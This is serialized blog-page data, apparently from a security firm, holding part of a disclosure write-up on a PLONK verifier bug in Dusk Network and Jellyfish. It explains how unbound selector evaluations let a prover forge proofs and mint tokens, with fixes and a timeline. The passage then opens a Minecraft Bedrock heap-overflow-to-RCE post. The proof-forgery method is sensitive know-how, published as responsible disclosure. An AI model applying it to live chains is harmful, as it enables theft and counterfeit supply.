",{"type":23,"tag":64,"props":144268,"children":144271},{"href":144269,"rel":144270},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[68],[144272],{"type":23,"tag":135,"props":144273,"children":144275},{"className":144274},[],[144276],{"type":28,"value":143718},{"type":28,"value":144278},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":144280,"children":144281},{},[144282],{"type":23,"tag":429,"props":144283,"children":144286},{"alt":144284,"src":144285},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":16800,"props":144288,"children":144289},{},[],{"type":23,"tag":41,"props":144291,"children":144293},{"id":144292},"the-exploitation",[144294],{"type":28,"value":144295},"The exploitation",{"type":23,"tag":24,"props":144297,"children":144298},{},[144299],{"type":28,"value":144300},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":144302,"children":144303},{},[144304,144306,144312,144314,144319,144321,144326,144328,144334],{"type":28,"value":144305},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":135,"props":144307,"children":144309},{"className":144308},[],[144310],{"type":28,"value":144311},"z_challenge",{"type":28,"value":144313},", it computes what the linearization polynomial ",{"type":23,"tag":659,"props":144315,"children":144316},{},[144317],{"type":28,"value":144318},"should",{"type":28,"value":144320}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":135,"props":144322,"children":144324},{"className":144323},[],[144325],{"type":28,"value":143839},{"type":28,"value":144327},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":135,"props":144329,"children":144331},{"className":144330},[],[144332],{"type":28,"value":144333},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":18750},{"type":23,"tag":24,"props":144336,"children":144337},{},[144338],{"type":23,"tag":429,"props":144339,"children":144342},{"alt":144340,"src":144341},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":144344,"children":144345},{},[144346,144348,144388,144390,144415,144417,144422],{"type":28,"value":144347},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":135,"props":144349,"children":144351},{"className":144350},[1981,1982],[144352],{"type":23,"tag":139,"props":144353,"children":144355},{"className":144354},[1987],[144356],{"type":23,"tag":139,"props":144357,"children":144359},{"className":144358,"ariaHidden":1993},[1992],[144360],{"type":23,"tag":139,"props":144361,"children":144363},{"className":144362},[1998],[144364,144368,144373,144378,144383],{"type":23,"tag":139,"props":144365,"children":144367},{"className":144366,"style":2110},[2003],[],{"type":23,"tag":139,"props":144369,"children":144371},{"className":144370,"style":90951},[2009,19596],[144372],{"type":28,"value":91770},{"type":23,"tag":139,"props":144374,"children":144376},{"className":144375},[19725],[144377],{"type":28,"value":262},{"type":23,"tag":139,"props":144379,"children":144381},{"className":144380},[2009,19596],[144382],{"type":28,"value":17284},{"type":23,"tag":139,"props":144384,"children":144386},{"className":144385},[19747],[144387],{"type":28,"value":1104},{"type":28,"value":144389}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":135,"props":144391,"children":144393},{"className":144392},[1981,1982],[144394],{"type":23,"tag":139,"props":144395,"children":144397},{"className":144396},[1987],[144398],{"type":23,"tag":139,"props":144399,"children":144401},{"className":144400,"ariaHidden":1993},[1992],[144402],{"type":23,"tag":139,"props":144403,"children":144405},{"className":144404},[1998],[144406,144410],{"type":23,"tag":139,"props":144407,"children":144409},{"className":144408,"style":108792},[2003],[],{"type":23,"tag":139,"props":144411,"children":144413},{"className":144412,"style":111508},[2009,19596],[144414],{"type":28,"value":111511},{"type":28,"value":144416},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":135,"props":144418,"children":144420},{"className":144419},[],[144421],{"type":28,"value":143839},{"type":28,"value":144423}," gives the required value in a single field division.",{"type":23,"tag":16800,"props":144425,"children":144426},{},[],{"type":23,"tag":41,"props":144428,"children":144430},{"id":144429},"impact-on-dusk-network",[144431],{"type":28,"value":144432},"Impact on Dusk Network",{"type":23,"tag":24,"props":144434,"children":144435},{},[144436,144438,144445],{"type":28,"value":144437},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":64,"props":144439,"children":144442},{"href":144440,"rel":144441},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[68],[144443],{"type":28,"value":144444},"preverify path",{"type":28,"value":144446},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":797,"props":144448,"children":144449},{},[144450,144455,144460],{"type":23,"tag":801,"props":144451,"children":144452},{},[144453],{"type":28,"value":144454},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":801,"props":144456,"children":144457},{},[144458],{"type":28,"value":144459},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":801,"props":144461,"children":144462},{},[144463],{"type":28,"value":144464},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":144466,"children":144467},{},[144468],{"type":28,"value":144469},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":797,"props":144471,"children":144472},{},[144473,144478,144488,144500,144505],{"type":23,"tag":801,"props":144474,"children":144475},{},[144476],{"type":28,"value":144477},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":801,"props":144479,"children":144480},{},[144481,144483],{"type":28,"value":144482},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":56,"props":144484,"children":144485},{},[144486],{"type":28,"value":144487},"2000 DUSK from nothing",{"type":23,"tag":801,"props":144489,"children":144490},{},[144491,144493,144498],{"type":28,"value":144492},"The malicious wallet transfers ",{"type":23,"tag":56,"props":144494,"children":144495},{},[144496],{"type":28,"value":144497},"1337 DUSK",{"type":28,"value":144499}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":801,"props":144501,"children":144502},{},[144503],{"type":28,"value":144504},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":801,"props":144506,"children":144507},{},[144508],{"type":28,"value":144509},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":144511,"children":144512},{},[144513],{"type":23,"tag":429,"props":144514,"children":144517},{"alt":144515,"src":144516},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":144519,"children":144520},{},[144521,144523,144529,144531,144538],{"type":28,"value":144522},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":64,"props":144524,"children":144526},{"href":139824,"rel":144525},[68],[144527],{"type":28,"value":144528},"~60M",{"type":28,"value":144530},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":64,"props":144532,"children":144535},{"href":144533,"rel":144534},"https://neptune.cash/articles/critical-vulnerability-disclosure",[68],[144536],{"type":28,"value":144537},"Triton VM vulnerability",{"type":28,"value":73},{"type":23,"tag":16800,"props":144540,"children":144541},{},[],{"type":23,"tag":41,"props":144543,"children":144545},{"id":144544},"the-fix",[144546],{"type":28,"value":144547},"The fix",{"type":23,"tag":24,"props":144549,"children":144550},{},[144551],{"type":28,"value":144552},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":14699,"props":144554,"children":144555},{},[144556,144601],{"type":23,"tag":801,"props":144557,"children":144558},{},[144559,144561,144572,144574,144580,144581,144587,144588,144594,144595],{"type":28,"value":144560},"Extend ",{"type":23,"tag":64,"props":144562,"children":144565},{"href":144563,"rel":144564},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[68],[144566],{"type":23,"tag":135,"props":144567,"children":144569},{"className":144568},[],[144570],{"type":28,"value":144571},"compute_aggregate_witness",{"type":28,"value":144573}," on the prover side to also include ",{"type":23,"tag":135,"props":144575,"children":144577},{"className":144576},[],[144578],{"type":28,"value":144579},"q_arith",{"type":28,"value":1052},{"type":23,"tag":135,"props":144582,"children":144584},{"className":144583},[],[144585],{"type":28,"value":144586},"q_c",{"type":28,"value":1052},{"type":23,"tag":135,"props":144589,"children":144591},{"className":144590},[],[144592],{"type":28,"value":144593},"q_l",{"type":28,"value":4490},{"type":23,"tag":135,"props":144596,"children":144598},{"className":144597},[],[144599],{"type":28,"value":144600},"q_r",{"type":23,"tag":801,"props":144602,"children":144603},{},[144604,144606,144616],{"type":28,"value":144605},"Add their evaluations to ",{"type":23,"tag":64,"props":144607,"children":144610},{"href":144608,"rel":144609},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[68],[144611],{"type":23,"tag":135,"props":144612,"children":144614},{"className":144613},[],[144615],{"type":28,"value":143718},{"type":28,"value":144617}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":144619,"children":144620},{},[144621,144623,144630],{"type":28,"value":144622},"This was done in ",{"type":23,"tag":64,"props":144624,"children":144627},{"href":144625,"rel":144626},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[68],[144628],{"type":28,"value":144629},"commit 645265b7",{"type":28,"value":144631},", which landed on February 14, 2026.",{"type":23,"tag":16800,"props":144633,"children":144634},{},[],{"type":23,"tag":41,"props":144636,"children":144638},{"id":144637},"why-was-this-missed",[144639],{"type":28,"value":144640},"Why was this missed?",{"type":23,"tag":24,"props":144642,"children":144643},{},[144644,144646,144653,144654,144661,144663,144670,144672,144679],{"type":28,"value":144645},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":64,"props":144647,"children":144650},{"href":144648,"rel":144649},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[68],[144651],{"type":28,"value":144652},"December 2023 audit of dusk-plonk",{"type":28,"value":122294},{"type":23,"tag":64,"props":144655,"children":144658},{"href":144656,"rel":144657},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[68],[144659],{"type":28,"value":144660},"September 2024 audit of Phoenix",{"type":28,"value":144662},", and a ",{"type":23,"tag":64,"props":144664,"children":144667},{"href":144665,"rel":144666},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[68],[144668],{"type":28,"value":144669},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":144671},". Dusk's public ",{"type":23,"tag":64,"props":144673,"children":144676},{"href":144674,"rel":144675},"https://dusk.network/news/audits-overview",[68],[144677],{"type":28,"value":144678},"audits overview",{"type":28,"value":144680}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":144682,"children":144683},{},[144684,144686,144691],{"type":28,"value":144685},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":659,"props":144687,"children":144688},{},[144689],{"type":28,"value":144690},"evaluations",{"type":28,"value":73},{"type":23,"tag":24,"props":144693,"children":144694},{},[144695],{"type":28,"value":144696},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":144698,"children":144699},{},[144700],{"type":28,"value":144701},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":41,"props":144703,"children":144705},{"id":144704},"a-similar-bug-in-espresso-systems-jellyfish",[144706],{"type":28,"value":144707},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":144709,"children":144710},{},[144711,144713,144720],{"type":28,"value":144712},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":64,"props":144714,"children":144717},{"href":144715,"rel":144716},"https://github.com/EspressoSystems/jellyfish/",[68],[144718],{"type":28,"value":144719},"jf-plonk",{"type":28,"value":144721}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":144723,"children":144724},{},[144725,144727,144734,144736,144747,144749,144774,144776,144801],{"type":28,"value":144726},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":64,"props":144728,"children":144731},{"href":144729,"rel":144730},"https://eprint.iacr.org/2020/315",[68],[144732],{"type":28,"value":144733},"Plookup",{"type":28,"value":144735}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":64,"props":144737,"children":144740},{"href":144738,"rel":144739},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[68],[144741],{"type":23,"tag":135,"props":144742,"children":144744},{"className":144743},[],[144745],{"type":28,"value":144746},"append_plookup_evaluations",{"type":28,"value":144748}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":135,"props":144750,"children":144752},{"className":144751},[1981,1982],[144753],{"type":23,"tag":139,"props":144754,"children":144756},{"className":144755},[1987],[144757],{"type":23,"tag":139,"props":144758,"children":144760},{"className":144759,"ariaHidden":1993},[1992],[144761],{"type":23,"tag":139,"props":144762,"children":144764},{"className":144763},[1998],[144765,144769],{"type":23,"tag":139,"props":144766,"children":144768},{"className":144767,"style":108792},[2003],[],{"type":23,"tag":139,"props":144770,"children":144772},{"className":144771,"style":91437},[2009,19596],[144773],{"type":28,"value":111855},{"type":28,"value":144775}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":135,"props":144777,"children":144779},{"className":144778},[1981,1982],[144780],{"type":23,"tag":139,"props":144781,"children":144783},{"className":144782},[1987],[144784],{"type":23,"tag":139,"props":144785,"children":144787},{"className":144786,"ariaHidden":1993},[1992],[144788],{"type":23,"tag":139,"props":144789,"children":144791},{"className":144790},[1998],[144792,144796],{"type":23,"tag":139,"props":144793,"children":144795},{"className":144794,"style":108792},[2003],[],{"type":23,"tag":139,"props":144797,"children":144799},{"className":144798,"style":91437},[2009,19596],[144800],{"type":28,"value":111855},{"type":28,"value":144802},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":144804,"children":144805},{},[144806,144808,144814,144816,144822],{"type":28,"value":144807},"The attack requires modifying a single evaluation (",{"type":23,"tag":135,"props":144809,"children":144811},{"className":144810},[],[144812],{"type":28,"value":144813},"key_table_next_eval",{"type":28,"value":144815},") by ",{"type":23,"tag":135,"props":144817,"children":144819},{"className":144818},[],[144820],{"type":28,"value":144821},"delta / (u * v^3)",{"type":28,"value":144823}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":144825,"children":144826},{},[144827,144829,144836,144838,144849],{"type":28,"value":144828},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":64,"props":144830,"children":144833},{"href":144831,"rel":144832},"https://github.com/EspressoSystems/jellyfish/pull/867",[68],[144834],{"type":28,"value":144835},"PR #867",{"type":28,"value":144837}," fixed the issue and was tagged as ",{"type":23,"tag":64,"props":144839,"children":144842},{"href":144840,"rel":144841},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[68],[144843],{"type":23,"tag":135,"props":144844,"children":144846},{"className":144845},[],[144847],{"type":28,"value":144848},"jf-plonk-v0.8.0",{"type":28,"value":144850}," on March 18, 2026.",{"type":23,"tag":16800,"props":144852,"children":144853},{},[],{"type":23,"tag":41,"props":144855,"children":144857},{"id":144856},"toward-standardization",[144858],{"type":28,"value":144859},"Toward standardization",{"type":23,"tag":24,"props":144861,"children":144862},{},[144863,144865,144872],{"type":28,"value":144864},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":64,"props":144866,"children":144869},{"href":144867,"rel":144868},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[68],[144870],{"type":28,"value":144871},"similar patterns appear across zkVMs",{"type":28,"value":144873},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":144875,"children":144876},{},[144877],{"type":28,"value":144878},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":144880,"children":144881},{},[144882],{"type":28,"value":144883},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":41,"props":144885,"children":144886},{"id":58723},[144887],{"type":28,"value":144888},"Disclosure timeline",{"type":23,"tag":53643,"props":144890,"children":144891},{},[144892,144908],{"type":23,"tag":120902,"props":144893,"children":144894},{},[144895],{"type":23,"tag":120906,"props":144896,"children":144897},{},[144898,144903],{"type":23,"tag":120910,"props":144899,"children":144900},{},[144901],{"type":28,"value":144902},"Date",{"type":23,"tag":120910,"props":144904,"children":144905},{},[144906],{"type":28,"value":144907},"Event",{"type":23,"tag":120930,"props":144909,"children":144910},{},[144911,144924,144937,144949,144975,144995],{"type":23,"tag":120906,"props":144912,"children":144913},{},[144914,144919],{"type":23,"tag":120937,"props":144915,"children":144916},{},[144917],{"type":28,"value":144918},"2026-02-13",{"type":23,"tag":120937,"props":144920,"children":144921},{},[144922],{"type":28,"value":144923},"Dusk vulnerability reported",{"type":23,"tag":120906,"props":144925,"children":144926},{},[144927,144932],{"type":23,"tag":120937,"props":144928,"children":144929},{},[144930],{"type":28,"value":144931},"2026-02-14",{"type":23,"tag":120937,"props":144933,"children":144934},{},[144935],{"type":28,"value":144936},"Dusk acknowledged",{"type":23,"tag":120906,"props":144938,"children":144939},{},[144940,144944],{"type":23,"tag":120937,"props":144941,"children":144942},{},[144943],{"type":28,"value":144931},{"type":23,"tag":120937,"props":144945,"children":144946},{},[144947],{"type":28,"value":144948},"Dusk fix committed",{"type":23,"tag":120906,"props":144950,"children":144951},{},[144952,144957],{"type":23,"tag":120937,"props":144953,"children":144954},{},[144955],{"type":28,"value":144956},"2026-02-27",{"type":23,"tag":120937,"props":144958,"children":144959},{},[144960,144962,144973],{"type":28,"value":144961},"Public ",{"type":23,"tag":64,"props":144963,"children":144966},{"href":144964,"rel":144965},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[68],[144967],{"type":23,"tag":135,"props":144968,"children":144970},{"className":144969},[],[144971],{"type":28,"value":144972},"dusk-rusk-1.6.0",{"type":28,"value":144974}," release published",{"type":23,"tag":120906,"props":144976,"children":144977},{},[144978,144983],{"type":23,"tag":120937,"props":144979,"children":144980},{},[144981],{"type":28,"value":144982},"2026-03-16",{"type":23,"tag":120937,"props":144984,"children":144985},{},[144986,144988,144994],{"type":28,"value":144987},"Jellyfish fix PR opened (",{"type":23,"tag":64,"props":144989,"children":144991},{"href":144831,"rel":144990},[68],[144992],{"type":28,"value":144993},"#867",{"type":28,"value":1104},{"type":23,"tag":120906,"props":144996,"children":144997},{},[144998,145003],{"type":23,"tag":120937,"props":144999,"children":145000},{},[145001],{"type":28,"value":145002},"2026-03-18",{"type":23,"tag":120937,"props":145004,"children":145005},{},[145006,145008,145013,145015],{"type":28,"value":145007},"Jellyfish fix merged in ",{"type":23,"tag":64,"props":145009,"children":145011},{"href":144831,"rel":145010},[68],[145012],{"type":28,"value":144993},{"type":28,"value":145014}," and tagged as ",{"type":23,"tag":64,"props":145016,"children":145018},{"href":144840,"rel":145017},[68],[145019],{"type":23,"tag":135,"props":145020,"children":145022},{"className":145021},[],[145023],{"type":28,"value":144848},{"type":23,"tag":41,"props":145025,"children":145027},{"id":145026},"acknowledgements",[145028],{"type":28,"value":145029},"Acknowledgements",{"type":23,"tag":24,"props":145031,"children":145032},{},[145033],{"type":28,"value":145034},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":151,"depth":151,"links":145036},[145037,145044,145045,145046,145047,145048,145049,145050,145051,145052,145053,145054],{"id":139854,"depth":151,"text":139857,"children":145038},[145039,145040,145041,145042,145043],{"id":139879,"depth":160,"text":139882},{"id":140682,"depth":160,"text":140685},{"id":141880,"depth":160,"text":141883},{"id":141910,"depth":160,"text":141913},{"id":142191,"depth":160,"text":142194},{"id":142924,"depth":151,"text":142927},{"id":143062,"depth":151,"text":143065},{"id":88205,"depth":151,"text":143693},{"id":144292,"depth":151,"text":144295},{"id":144429,"depth":151,"text":144432},{"id":144544,"depth":151,"text":144547},{"id":144637,"depth":151,"text":144640},{"id":144704,"depth":151,"text":144707},{"id":144856,"depth":151,"text":144859},{"id":58723,"depth":151,"text":144888},{"id":145026,"depth":151,"text":145029},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":145059,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":145060,"description":145061,"date":145062,"author":121561,"image":145063,"isFeatured":15,"onBlogPage":15,"tags":145065,"body":145068,"_type":831,"_id":154448,"_source":833,"_file":154449,"_stem":154450,"_extension":836},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":145064,"width":95172,"height":13},"/posts/minecraft-heap-overflow-to-rce/title.png",[145066,145067],"minecraft","rce",{"type":20,"children":145069,"toc":154425},[145070,145075,145080,145085,145091,145096,145115,145120,145126,145131,145136,145142,145147,145152,145157,145163,145168,145173,145179,145199,145211,145218,145240,145254,145261,145267,145277,145297,145302,145308,145321,145666,145671,145679,145685,145704,146012,146040,146083,146095,146103,146108,146577,146596,146617,146959,146983,147255,147279,147306,147515,147534,147542,147561,147567,147629,147632,147654,147658,147663,147668,147674,147679,147693,147699,147713,147719,147732,147737,147745,147750,147756,147777,147785,147798,147801,147806,147820,147825,147830,147836,147841,147864,147869,147875,147880,147892,147904,148018,148038,148043,148048,148054,148059,148079,148694,148707,149781,149786,149794,149799,149805,149810,149818,149831,149836,149841,149848,149861,149866,149873,149928,149948,149955,149974,149981,149984,149989,149994,150000,150012,150025,150033,150104,150115,150149,150157,150162,150167,150173,150185,150204,150216,150221,150229,150248,150256,150275,150283,150309,150317,150322,150330,150335,150343,150346,150351,150356,150362,150375,150393,150431,150461,150469,150474,150480,150485,150490,150496,150508,150677,150689,150697,150702,150709,150714,150775,150822,150834,150839,150865,150939,150977,150982,150990,151011,151016,151042,151076,151129,151176,151182,151201,151233,151241,151344,151415,151421,151447,151454,151459,151466,151471,151712,151738,151743,151791,151796,151802,151834,151846,151878,151886,151925,151933,151938,151946,151951,151959,151971,151979,151991,151999,152011,152031,152037,152057,152074,152082,152094,152102,152121,152126,152134,152139,152147,152173,152184,152191,152196,152204,152209,152217,152222,152230,152235,152243,152248,152256,152261,152269,152310,152317,152322,152330,152335,152343,152348,152356,152361,152366,152374,152379,152387,152413,152421,152447,152455,152460,152468,152473,152481,152489,152494,152502,152507,152515,152518,152529,152563,152581,152589,152609,152615,152634,152692,152712,152720,152723,152762,152822,152827,152833,152846,152854,152906,152945,152953,152986,152989,153009,153017,153023,153028,153036,153076,153117,153137,153142,153147,153165,153171,153176,153195,153256,153264,153290,153296,153316,153321,153326,153333,153398,153403,153410,153431,153436,153448,153454,153487,153494,153499,153527,153534,153590,153602,153609,153670,153689,153695,153729,153750,153777,153785,153838,153908,153914,153934,153977,153982,154380,154386,154391,154402,154406,154411,154416,154421],{"type":23,"tag":33262,"props":145071,"children":145073},{"id":145072},"pwning-minecraft-4-byte-heap-overflow-to-rce",[145074],{"type":28,"value":145060},{"type":23,"tag":24,"props":145076,"children":145077},{},[145078],{"type":28,"value":145079},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":24,"props":145081,"children":145082},{},[145083],{"type":28,"value":145084},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":41,"props":145086,"children":145088},{"id":145087},"the-target",[145089],{"type":28,"value":145090},"The Target",{"type":23,"tag":24,"props":145092,"children":145093},{},[145094],{"type":28,"value":145095},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":24,"props":145097,"children":145098},{},[145099,145101,145106,145108,145113],{"type":28,"value":145100},"There are two main editions: ",{"type":23,"tag":56,"props":145102,"children":145103},{},[145104],{"type":28,"value":145105},"Minecraft Java Edition",{"type":28,"value":145107},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":56,"props":145109,"children":145110},{},[145111],{"type":28,"value":145112},"Minecraft Bedrock Edition",{"type":28,"value":145114},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":24,"props":145116,"children":145117},{},[145118],{"type":28,"value":145119},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":666,"props":145121,"children":145123},{"id":145122},"choice-of-context",[145124],{"type":28,"value":145125},"Choice of Context",{"type":23,"tag":24,"props":145127,"children":145128},{},[145129],{"type":28,"value":145130},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":24,"props":145132,"children":145133},{},[145134],{"type":28,"value":145135},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":666,"props":145137,"children":145139},{"id":145138},"resource-packs",[145140],{"type":28,"value":145141},"Resource Packs",{"type":23,"tag":24,"props":145143,"children":145144},{},[145145],{"type":28,"value":145146},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":24,"props":145148,"children":145149},{},[145150],{"type":28,"value":145151},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":24,"props":145153,"children":145154},{},[145155],{"type":28,"value":145156},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":41,"props":145158,"children":145160},{"id":145159},"finding-a-memory-corruption-bug",[145161],{"type":28,"value":145162},"Finding a Memory Corruption Bug",{"type":23,"tag":24,"props":145164,"children":145165},{},[145166],{"type":28,"value":145167},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":24,"props":145169,"children":145170},{},[145171],{"type":28,"value":145172},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":666,"props":145174,"children":145176},{"id":145175},"locating-image-parsing-code",[145177],{"type":28,"value":145178},"Locating Image Parsing Code",{"type":23,"tag":24,"props":145180,"children":145181},{},[145182,145184,145190,145191,145197],{"type":28,"value":145183},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":135,"props":145185,"children":145187},{"className":145186},[],[145188],{"type":28,"value":145189},"PNG",{"type":28,"value":11145},{"type":23,"tag":135,"props":145192,"children":145194},{"className":145193},[],[145195],{"type":28,"value":145196},"GIF",{"type":28,"value":145198}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":24,"props":145200,"children":145201},{},[145202,145204,145209],{"type":28,"value":145203},"Searching for the string ",{"type":23,"tag":135,"props":145205,"children":145207},{"className":145206},[],[145208],{"type":28,"value":145196},{"type":28,"value":145210}," returned some interesting results:",{"type":23,"tag":24,"props":145212,"children":145213},{},[145214],{"type":23,"tag":429,"props":145215,"children":145217},{"alt":48476,"src":145216},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":24,"props":145219,"children":145220},{},[145221,145223,145230,145232,145239],{"type":28,"value":145222},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in 